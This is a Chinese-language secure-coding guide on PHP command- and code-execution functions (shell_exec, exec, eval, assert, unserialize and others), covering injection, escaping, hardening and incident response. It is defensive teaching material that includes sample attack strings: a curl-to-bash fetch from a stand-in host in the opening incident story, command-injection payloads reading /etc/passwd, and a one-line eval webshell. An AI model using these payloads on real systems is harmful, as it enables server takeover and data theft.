PHP命令执行与代码执行函数安全指南：从原理到防御实战

1. 从一次真实的线上排查说起：为什么我们要深究PHP的执行函数

那天晚上，我正打算关电脑，突然收到监控告警，说某个业务接口的CPU使用率在几分钟内飙到了100%。登录服务器一看，top命令里一个PHP-FPM进程正疯狂地占用资源。直觉告诉我，这不像正常的业务逻辑。用strace追踪了一下这个进程，发现它在频繁地执行/bin/sh -c，并且参数里拼接了一些奇怪的字符串。我心里咯噔一下：坏了，八成是命令执行漏洞被利用了。

最后定位到的代码，是一个看似无害的“日志清理”功能。开发者为了方便，直接用shell_exec(“rm -rf “ . $logDir . “/*.log”)来删除过期日志。问题出在$logDir这个变量上，它部分来自用户可控的配置文件。攻击者通过某种方式篡改了配置，注入了类似/tmp/; curl evil.com/shell.sh | bash这样的命令。于是，删除日志的命令，变成了先删除日志，再从远程下载并执行一个恶意脚本。

这次事件让我重新审视了PHP中那些“强大”但危险的函数。它们就像厨房里的菜刀，在厨师手里是创造美味的工具，但一旦使用不当或落入他人之手，就可能造成严重破坏。对于PHP开发者，尤其是刚入行的朋友，清晰地认识这些函数，理解它们的风险边界，是写出安全代码的必修课。今天，我们就来彻底拆解PHP中常见的命令执行与代码执行函数，不光是罗列表象，更要挖出它们背后的机制、使用场景，以及，最重要的——如何安全地驾驭它们。

2. 命令执行函数：当PHP拥有了调用系统Shell的能力

命令执行函数，指的是那些允许PHP脚本直接调用操作系统Shell命令的函数。这赋予了PHP脚本极大的灵活性，可以完成文件操作、进程管理、系统调用等底层功能。但正如开头的案例所示，这份力量伴随着同等的风险。

2.1 核心命令执行函数详解

PHP提供了多个函数用于执行外部命令，它们在使用方式和返回值上各有不同。

2.1.1shell_exec()：获取命令输出的“沉默执行者”

shell_exec()是最常用的命令执行函数之一。它通过Shell环境执行命令，并将完整的输出以字符串形式返回。如果命令执行失败或没有输出，则返回NULL。

$output = shell_exec('ls -la /var/www'); echo "<pre>$output</pre>";

注意：shell_exec()在安全模式（safe_mode）被禁用或未启用时，默认是开启的。它的风险在于，如果命令字符串由不可信的用户输入拼接而成，攻击者就可以注入任意Shell命令。例如，shell_exec(‘ping ‘ . $_GET[‘host’])，如果用户输入127.0.0.1; cat /etc/passwd，分号将使cat /etc/passwd作为第二条命令被执行。

2.1.2exec()：更精细控制的执行器

与shell_exec()返回所有输出不同，exec()通常用于你只关心最后一行输出，或者需要获取命令返回值的情况。它的典型用法是：

$lastLine = exec('git log -1 --pretty=format:"%h - %an, %ar : %s"', $output, $returnVar); // $output: 一个数组，包含命令的所有输出行。 // $lastLine: 最后一行的输出内容。 // $returnVar: 命令执行的返回状态码（类似Bash中的 `$?`），0通常表示成功。 echo “最后一行：$lastLine”; print_r($output); echo “返回码：$returnVar”;

exec()函数不会自动通过Shell执行命令，除非你传递的命令字符串本身包含了Shell的特性（如管道|、重定向>）。但为了安全，PHP提供了$command参数和可选的$args数组参数分开传递的方式，这可以避免一些注入，但并非绝对安全（后面会详细讲）。

2.1.3system()：直接输出到标准流的执行者

system()函数会执行给定的命令，并将输出直接打印到PHP的标准输出（通常是浏览器或CLI）。同时，它也会返回命令执行结果的最后一行。

$lastLine = system('df -h'); // 命令的输出（如文件系统使用情况）会直接显示在页面上。 // $lastLine 保存了最后一行（如某个分区的使用信息）。

它的行为类似于在CLI中直接输入命令。在Web环境下，直接输出可能破坏页面结构，通常用于调试或CLI脚本。

2.1.4passthru()：处理二进制输出的专家

当需要执行一个产生原始二进制数据（如图像、文件下载）的命令时，passthru()是更好的选择。它直接将命令的原始输出传递给PHP的输出流，不进行任何缓冲或字符串转换。

header('Content-Type: image/png'); passthru('cat /path/to/generated_image.png'); // 直接将图片二进制流输出到浏览器

这对于调用像wkhtmltopdf生成PDF，或ffmpeg处理视频流并输出的场景非常有用。

2.1.5 反引号操作符：shell_exec()的语法糖

反引号（`）是shell_exec()的快捷操作符，功能完全一样。

$files = `ls -la`; echo "<pre>$files</pre>";

虽然写法简洁，但在现代代码规范和IDE支持上，显式使用shell_exec()通常更受推荐，因为可读性更好。

2.1.6popen()/proc_open()：进程间通信的高级玩家

这两个函数提供了更底层的进程控制能力。

• popen()：打开一个指向进程的管道，可以进行单向读写。

  $handle = popen('/usr/bin/tail -f /var/log/app.log', 'r'); while (!feof($handle)) { echo fgets($handle); // 实时读取日志输出 flush(); } pclose($handle);

• proc_open()：功能最强大，可以完全控制进程的STDIN、STDOUT、STDERR，以及环境变量、工作目录等。

  $descriptorspec = array( 0 => array(“pipe”, “r”), // 标准输入 1 => array(“pipe”, “w”), // 标准输出 2 => array(“pipe”, “w”) // 标准错误 ); $process = proc_open('php artisan queue:work', $descriptorspec, $pipes); if (is_resource($process)) { fwrite($pipes[0], “一些输入”); // 向进程发送数据 fclose($pipes[0]); echo stream_get_contents($pipes[1]); // 读取输出 fclose($pipes[1]); $return_value = proc_close($process); // 关闭进程，获取退出码 }

  在需要与长时间运行的后台进程交互，或者构建类似任务队列管理器时，proc_open()是必不可少的工具。

2.2 命令执行的风险本质：Shell注入

所有命令执行函数的核心风险都指向同一个漏洞：Shell命令注入。它的原理并不复杂：当用户输入被未经充分处理地拼接到命令字符串中时，攻击者可以利用Shell的元字符（metacharacters）来“逃逸”原有的命令上下文，注入并执行新的恶意命令。

2.2.1 危险的元字符

• 分号;：命令分隔符。command1; command2会依次执行。
• 与符号&：后台执行。command1 & command2会让command1在后台运行，同时执行command2。
• 管道|：将前一个命令的输出作为后一个命令的输入。cat file | grep “secret”。
• 重定向>,>>,<：改变输入输出流。echo “data” > file。
• 反引号`或$()：命令替换。先执行内部命令，用其结果替换。echo “Today isdate”。
• 逻辑运算符&&,||：根据前一个命令的成功与否决定是否执行下一个。

2.2.2 一个典型的注入场景假设有一个“Ping工具”的Web应用：

$target = $_GET['host']; $result = shell_exec('ping -c 4 ' . $target); echo $result;

攻击者可以这样访问：http://example.com/ping.php?host=127.0.0.1; cat /etc/passwd最终执行的命令变为：ping -c 4 127.0.0.1; cat /etc/passwd服务器会先ping自己，然后毫无防备地输出系统密码文件。

2.3 如何安全地使用命令执行函数？

完全禁用这些函数往往不现实，关键在于如何安全地使用。以下是层层递进的防御策略。

2.3.1 第一道防线：输入验证与白名单永远不要相信用户输入。对于命令参数，尽可能使用最严格的白名单验证。

$allowed_actions = ['start', 'stop', 'restart', 'status']; $action = $_GET['action']; if (!in_array($action, $allowed_actions)) { die('非法操作！'); } // 此时$action是安全的预定义值之一 exec(“sudo systemctl nginx ” . $action);

对于像主机名、文件名这类参数，使用正则表达式进行严格格式校验。

$hostname = $_GET['host']; // 只允许字母、数字、点、短横线，且长度合理 if (!preg_match(‘/^[a-zA-Z0-9.-]{1,255}$/’, $hostname)) { die(‘无效的主机名’); }

2.3.2 第二道防线：参数转义与escapeshellarg()/escapeshellcmd()PHP提供了两个专门的转义函数，但它们的用途有细微差别，用错反而会引入漏洞。

• escapeshellarg()：这是首选和更安全的方法。它给字符串加上单引号，并转义字符串中已有的单引号，确保整个字符串被Shell视为一个单一的参数。

  $user_input = “O’Reilly’s file; rm -rf /”; $safe_arg = escapeshellarg($user_input); // 输出: ‘O’\’’Reilly’\’’s file; rm -rf /’ exec(“ls -la ” . $safe_arg); // 执行的是：ls -la ‘O’\’’Reilly’\’’s file; rm -rf /’ // Shell会尝试寻找一个名字极其奇怪的文件，而不会执行`rm`。

• escapeshellcmd()：转义Shell元字符，使它们失去特殊含义。但它不保证参数边界。

  $user_input = “/tmp; cat /etc/passwd”; $safe_cmd = escapeshellcmd(‘ls -la ‘ . $user_input); // 输出: ls -la /tmp\; cat /etc/passwd // 分号被转义，命令不会分裂。但它仍然会尝试列出`/tmp;`这个（不存在的）文件和`cat`这个（不存在的）文件。

  关键区别：escapeshellarg()保护的是“参数值”，而escapeshellcmd()保护的是“整个命令字符串”。对于拼接用户输入作为参数的情况，务必使用escapeshellarg()对每个用户输入的参数进行单独转义。

2.3.3 第三道防线：使用数组参数形式（exec()）exec()、shell_exec()等函数支持将命令和参数分开传递，这可以避免Shell解析参数时的许多问题。

$cmd = ‘/usr/bin/convert’; $args = [ escapeshellarg($_FILES[‘image’][‘tmp_name’]), // 源文件 ‘-resize’, ‘800×600’, escapeshellarg(‘/path/to/output.jpg’) // 目标文件 ]; // 使用implode拼接，或者更好的方式：proc_open $command = $cmd . ‘ ‘ . implode(‘ ‘, $args); exec($command);

但请注意，即使使用数组，最终拼接成的字符串如果还是交给Shell解析，依然需要转义。最安全的方式是结合proc_open()和$args数组，并设置bypass_shell选项（如果环境支持）。

2.3.4 终极建议：寻找替代方案在大多数情况下，都有更安全的PHP原生函数可以替代Shell命令：

• 文件操作：用unlink(),rmdir(),scandir(),file_get_contents()/file_put_contents()代替rm,ls,cat。
• 进程/系统信息：用php_uname(),getrusage(),sys_getloadavg()代替uname,ps,uptime。
• 压缩/解压：使用ZipArchive,PharData类代替zip/unzip命令。
• 图像处理：使用GD或Imagick扩展代替调用ImageMagick命令行。

在必须使用命令执行的场景下，遵循“最小权限原则”，使用专门的、权限受限的系统用户来运行Web服务（如www-data），并考虑使用像sudo的权限精细控制工具，仅授予执行特定命令的必要权限。

3. 代码执行函数：动态代码的“魔法”与“诅咒”

如果说命令执行是让PHP调用外部世界，那么代码执行就是让PHP在运行时动态生成和执行自身（或其它语言）的代码。这带来了极大的动态性和灵活性，例如实现插件系统、模板引擎、公式计算器等。但同样，这也是一把极其锋利的双刃剑，一旦用户输入混入，就是最严重的远程代码执行漏洞。

3.1 核心代码执行函数与结构

3.1.1eval()：最直接的代码执行eval()将传入的字符串作为PHP代码来执行。

$code = ‘echo “Hello, “ . $name;’; $name = ‘World’; eval($code); // 输出：Hello, World

eval()执行的代码共享当前作用域的所有变量。这是最危险的函数之一，因为如果$code来自用户输入，攻击者可以执行任意PHP代码，包括系统命令（通过system()）、文件操作、数据库查询等。

3.1.2assert()：调试断言，也曾是后门assert()原本用于调试，检查一个条件是否为真。但在PHP 7.0之前，如果传入字符串，它也会将其作为PHP代码执行。

// PHP 5.x 中 $condition = ‘$_GET[“cmd”]’; assert($condition); // 如果用户访问 ?cmd=system(‘id’)，就会执行`system(‘id’)`

从PHP 7.0开始，assert()不再执行字符串代码，而是将其作为表达式求值。但历史代码或特定配置下仍需警惕。

3.1.3create_function()：已废弃的动态函数创建器这个函数用于动态创建一个匿名函数（在闭包语法出现之前）。

$func = create_function(‘$a, $b’, ‘return $a + $b;’); echo $func(1, 2); // 输出 3

它的第二个参数也是一段代码字符串。由于存在严重的安全和性能问题，此函数在PHP 7.2.0中已废弃，在PHP 8.0.0中移除。绝对不要在新代码中使用。

3.1.4preg_replace()的/e修饰符：正则替换执行代码这是代码执行的一个“隐秘角落”。当preg_replace()使用/e修饰符时，替换字符串会被当作PHP代码执行。

$input = ‘Hello {${phpinfo()}}’; // 注意：/e修饰符在PHP 5.5.0已废弃，PHP 7.0.0移除 echo preg_replace(‘/{(.*)}/e’, ‘strtoupper(“\\1”)’, $input); // 会先执行phpinfo()，导致信息泄露

/e修饰符已在PHP 7中彻底移除，但排查历史代码时仍需注意。

3.1.5 回调函数与动态调用：间接的代码执行路径一些函数接受“可调用”作为参数，如果用户能控制这个参数，也可能导致代码执行。

• usort(),array_filter(),array_map()等数组函数。
• call_user_func(),call_user_func_array()。
• $functionName()可变函数调用。

$func = $_GET[‘action’]; $arg = $_GET[‘param’]; if (function_exists($func)) { $func($arg); // 如果?action=system¶m=id，则执行系统命令 }

这里的安全依赖于对$func的白名单校验。

3.1.6 反序列化：隐藏的代码执行触发器反序列化本身不是代码执行函数，但它是一个极其重要的间接执行渠道。当unserialize()一个用户可控的数据时，如果该数据对应类的__wakeup(),__destruct(),__toString()等魔术方法中包含危险操作（如eval()、system()），就会触发代码执行。这是许多PHP对象注入漏洞的根源。

3.2 代码执行漏洞的利用场景与危害

攻击者一旦能够注入代码，危害是毁灭性的：

1. 执行系统命令：直接调用shell_exec()、system()等，完全控制服务器。
2. 文件系统操作：读取敏感文件（/etc/passwd,.env, 数据库配置文件）、写入WebShell（file_put_contents(‘shell.php’, ‘<?php eval($_POST[cmd]);?>’)）。
3. 数据库操作：泄露、篡改或删除数据库所有数据。
4. 发起网络请求：成为内网渗透的跳板，攻击内网其他服务。
5. 加密货币挖矿：消耗服务器资源进行挖矿。

3.3 安全使用代码执行功能的准则

在绝大多数Web应用场景中，应绝对避免使用eval()、assert()（字符串形式）和create_function()。如果需要动态执行代码，请考虑以下更安全的替代方案：

3.3.1 使用匿名函数和闭包PHP的闭包功能强大且安全。

$operations = [ ‘add’ => function($a, $b) { return $a + $b; }, ‘sub’ => function($a, $b) { return $a - $b; }, ]; $op = $_GET[‘op’]; if (isset($operations[$op])) { $result = $operations[$op](5, 3); echo $result; }

3.3.2 使用安全的模板引擎不要自己用eval()拼接HTML和变量。使用成熟的模板引擎，如Twig、Smarty、Blade。它们有严格的沙箱机制，默认情况下不允许在模板中执行任意PHP代码。

{# Twig 模板 #} Hello, {{ name|escape }} {# 变量会被自动转义 #} {# 无法直接在这里执行PHP代码 #}

3.3.3 实现公式计算器等动态功能如果需要执行用户定义的数学表达式或简单逻辑，使用专门的、沙箱化的库，而不是eval()。

• 数学表达式：mathieuviossat/expression-matcher、hoa/math等库。
• 有限逻辑：可以考虑使用PHP的assert()（仅用于布尔表达式，且确保zend.assertions=1和assert.exception=1用于开发，生产环境关闭），或者使用自定义的语法解析器。

3.3.4 严格控制回调与动态函数调用对call_user_func()、可变函数等传入的函数名，进行严格的白名单校验。

$allowedCallbacks = [‘intval’, ‘strval’, ‘mySafeFunction’]; $callback = $_GET[‘callback’]; if (in_array($callback, $allowedCallbacks, true)) { // 使用严格模式检查 echo $callback($input); } else { // 处理错误或使用默认回调 }

3.3.5 安全处理反序列化

• 不要反序列化不可信数据：这是黄金法则。
• 使用json_decode()/json_encode()替代：对于简单的数据存储和传输，JSON更安全。
• 使用允许列表：如果必须使用PHP序列化，考虑使用unserialize($data, [‘allowed_classes’ => [‘MySafeClass1’, ‘MySafeClass2’]])（PHP 7.0+）来限制可以反序列化的类。
• 签名验证：对序列化数据进行数字签名，确保其未被篡改。

4. 实战中的深度防御与排查技巧

了解了原理和基础防御后，我们还需要从工程和运维层面构建更深层次的防御，并掌握有效的排查方法。

4.1 配置层面的安全加固

4.1.1disable_functions：最后的防线在php.ini中，使用disable_functions指令可以禁用特定的危险函数。这是生产环境非常重要的安全措施。

disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,eval,assert,create_function

注意：禁用函数可能影响某些合法功能（如使用curl_exec的HTTP客户端、使用exec的队列处理器）。需要根据实际应用需求仔细评估。禁用eval和assert通常是安全的。

4.1.2open_basedir：限制文件访问范围open_basedir可以将PHP脚本的文件操作限制在指定的目录树内，防止跨目录访问敏感文件。

open_basedir = /var/www/html:/tmp

这能有效阻止攻击者通过代码执行读取/etc/passwd或/root/.ssh等关键文件。

4.1.3 其他相关配置

• safe_mode：（已废弃）老版本PHP的安全模式，现代PHP已移除，不应依赖。
• allow_url_include：务必设置为Off。如果为On，include/require可以包含远程URL，导致远程文件包含漏洞，常与代码执行结合利用。

4.2 代码审计与自动化扫描

4.2.1 人工审计关注点

• 寻找用户输入与执行函数的连接点：全局搜索eval,assert,system,exec,shell_exec,passthru,popen,proc_open,反引号。
• 检查输入是否被正确过滤：找到这些函数后，向上回溯参数来源，看是否经过escapeshellarg()、白名单校验、类型强制转换等处理。
• 关注动态函数调用：搜索$variable(),call_user_func,call_user_func_array。
• 检查反序列化入口：搜索unserialize()，查看参数是否可控。

4.2.2 使用静态分析工具集成工具到开发流程中，自动发现潜在漏洞。

• 本地工具：phpcs配合安全编码标准规则集、phan、psalm。
• SAST工具：SonarQube（PHP插件）、Fortify、Checkmarx等商业或开源方案。
• IDE插件：许多现代IDE有安全漏洞提示插件。

4.3 运行时监控与入侵检测

即使代码安全，也需要监控运行时行为，以便在漏洞被利用时快速发现。

4.3.1 日志记录确保PHP错误日志、Web服务器访问日志正常记录并集中管理。关注日志中异常的命令执行函数名、奇怪的参数（包含管道、分号等）、访问不存在的文件等。

4.3.2 文件完整性监控使用工具监控Web目录下文件的创建和修改。特别是.php,.phtml,.htaccess等可执行文件的增加，这很可能是WebShell被上传的标志。

4.3.3 进程监控监控服务器上由Web用户（如www-data）启动的异常进程。例如，sh,bash,curl,wget,perl,python等进程如果由PHP-FPM子进程派生，就非常可疑。

4.3.4 使用RASP技术运行时应用自我保护技术可以在PHP解释器层面拦截危险的函数调用。例如，可以配置规则：如果system()的参数中包含来自$_GET或$_POST的未转义数据，则阻断该请求并告警。

4.4 应急响应：当漏洞可能已被利用时

如果怀疑服务器已被入侵，应遵循以下步骤：

1. 隔离：立即将受影响的服务器或容器从网络中断开，防止横向移动。
2. 取证（非破坏性）：
   • 备份完整的Web目录、日志文件、数据库。
   • 使用lsof,netstat查看异常网络连接和打开的文件。
   • 检查/tmp,/dev/shm等临时目录是否有可疑文件。
   • 查看crontab -l -u www-data等是否有后门任务。
   • 注意：避免在受控服务器上直接使用可能被篡改的工具（如ls,ps），考虑从干净的系统镜像启动进行取证。
3. 溯源：分析访问日志，找到攻击入口（漏洞点）和攻击时间线。
4. 修复：根据溯源结果，修复代码漏洞，更改所有相关密码和密钥。
5. 恢复：从干净的备份恢复数据和服务，或在修补漏洞后重建服务器。
6. 复盘：分析根本原因，更新安全开发规范，加强相关环节的防护和检测。

5. 从“热词”看社区常见问题与最佳实践

结合提供的网络热词，我们可以看到社区开发者关注的焦点和常见误区，这能给我们带来更贴近实战的启发。

5.1 关于环境与配置的困惑

• php version must be greater than 8.0, current version: 7.4.33：这直接关系到安全性。PHP 7.4已于2022年11月停止官方安全支持。使用不受支持的版本意味着已知漏洞不会被修复。最佳实践是尽快升级到PHP 8.1+。升级前，在开发环境充分测试，处理废弃特性（如create_function）和语法变更。
• fatal error: directive 'track_errors' is no longer available in php：这属于配置或代码兼容性问题。track_errors指令在PHP 7.2中废弃，8.0中移除。如果老代码或框架依赖它，需要重构错误处理逻辑，改用error_get_last()函数或try-catch块。这提醒我们，保持PHP和依赖库的更新，并关注更新日志中的废弃项。
• php使用docker打包镜像：这是非常好的实践。Docker镜像可以固化一个安全、一致的环境。在Dockerfile中，你可以：

  FROM php:8.2-fpm-alpine # 1. 禁用危险函数 RUN echo “disable_functions = exec,system,shell_exec,passthru,proc_open,popen,eval,assert” >> /usr/local/etc/php/conf.d/security.ini # 2. 设置open_basedir RUN echo “open_basedir = /var/www/html” >> /usr/local/etc/php/conf.d/security.ini # 3. 以非root用户运行 RUN addgroup -g 1000 appuser && adduser -u 1000 -G appuser -s /bin/sh -D appuser USER appuser COPY --chown=appuser:appuser . /var/www/html

  将安全配置固化在镜像里，实现“安全左移”。

5.2 关于特定漏洞的警惕

• 一句话木马php文件上传：这是文件上传漏洞与代码执行结合的经典案例。防御的核心在于：1) 严格校验文件类型（检查MIME类型和后缀白名单）；2) 将上传文件存储在Web根目录之外，通过脚本代理访问；3) 重命名文件，避免直接执行；4) 禁用上传目录的脚本执行权限（通过.htaccess或Nginx配置）。
• ctf <?php if (isset($_server['http_x_forwarded_for'])) ...：这类CTF题目常涉及利用$_SERVER等超全局变量进行代码注入。它提醒我们，不要信任任何来自客户端的输入，包括HTTP头、Cookie、文件名等。所有输入在进入敏感上下文（如命令、SQL、代码）前都必须经过验证或转义。

5.3 开发习惯与工具链

• php cpmposer下载安装csdn,如何用netbeans写php：开发者寻求工具使用帮助。使用Composer管理依赖时，务必定期运行composer update来更新有安全漏洞的包（配合composer audit命令或GitHub Dependabot等工具）。选择IDE时，应优先考虑具备强大静态分析、代码嗅探和安全提示功能的现代编辑器，如PHPStorm、VSCode配合相关插件。
• php学习路线：安全应贯穿学习路线始终。新手在学习了基础语法后，应立即接触安全概念（OWASP Top 10），并在每个学习阶段（数据库操作、会话管理、文件处理、框架使用）都融入对应的安全实践。

在我多年的开发生涯中，最大的体会是：安全不是一项独立的功能，而是一种必须融入血液的思维方式。每一次接收用户输入，每一次调用敏感函数，脑子里都要自动响起警报。对于命令执行和代码执行函数，我的个人原则是：能不用就不用，用则必验，验则必严。多花十分钟设计一个更安全的方案，远胜过事后花十个小时去应急响应和修复数据。把这些函数关进“笼子”里，明确它们的调用边界，你的应用才能稳健地运行在充满挑战的网络环境中。